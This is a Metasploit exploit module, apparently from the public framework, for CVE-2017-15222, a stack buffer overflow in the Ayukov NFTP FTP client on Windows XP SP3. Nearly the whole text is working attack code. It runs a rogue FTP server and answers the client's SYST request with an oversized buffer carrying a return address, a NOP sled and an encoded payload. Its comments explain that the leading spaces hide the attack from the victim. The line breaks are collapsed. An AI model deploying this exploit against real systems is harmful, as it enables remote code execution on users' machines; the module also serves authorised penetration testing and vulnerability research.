### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,'Name' => 'Ayukov NFTP FTP Client Buffer Overflow','Description'=> %q{
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
Client 2.0 and earlier. By responding with a long string of datafor the SYST request, it
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
code exeuction under the context of the user if successfully exploited.},'Author' =>
['Berk Cem Goksel',# Original exploit author'Daniel Teixeira',# MSF module author'sinn3r'# RCA, improved module reliability and user exp],'License'=> MSF_LICENSE,'References' =>
[['CVE','2017-15222'],['EDB','43025'],],'Payload'=>
{'BadChars' => "\x00\x01\x0a\x10\x0d",'StackAdjustment' => -3500
},'Platform' => 'win','Targets'=>
[['Windows XP Pro SP3 English',{'Ret' => 0x77f31d2f }],# GDI32.dll v5.1.2600.5512],'Privileged' => false,'DefaultOptions' =>
{'SRVHOST' => '0.0.0.0',},'DisclosureDate' => 'Oct 21 2017','DefaultTarget'=> 0))
register_options([
OptPort.new('SRVPORT',[ true,"The FTP port to listen on", 21 ]),])end
def exploit
srv_ip_for_client = datastore['SRVHOST']if srv_ip_for_client == '0.0.0.0'if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')endend
srv_port = datastore['SRVPORT']
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end
def on_client_connect(client)returnif((p = regenerate_payload(client)) == nil)
print_status("#{client.peerhost} - connected")# Let the client log in
client.get_once
print_status("#{client.peerhost} - sending 331 OK")
user = "331 OK.\r\n"
client.put(user)
client.get_once
print_status("#{client.peerhost} - sending 230 OK")
pass = "230 OK.\r\n"
client.put(pass)# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk# is visible from the user's command prompt, which would make the buffer overflow attack too# obvious.
sploit = "\x20"*4116
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
sploit << "\r\n"
print_status("#{client.peerhost} - sending the malicious response")
client.put(sploit)
client.get_once
pwd = "257\r\n"
client.put(pwd)
client.get_once
endend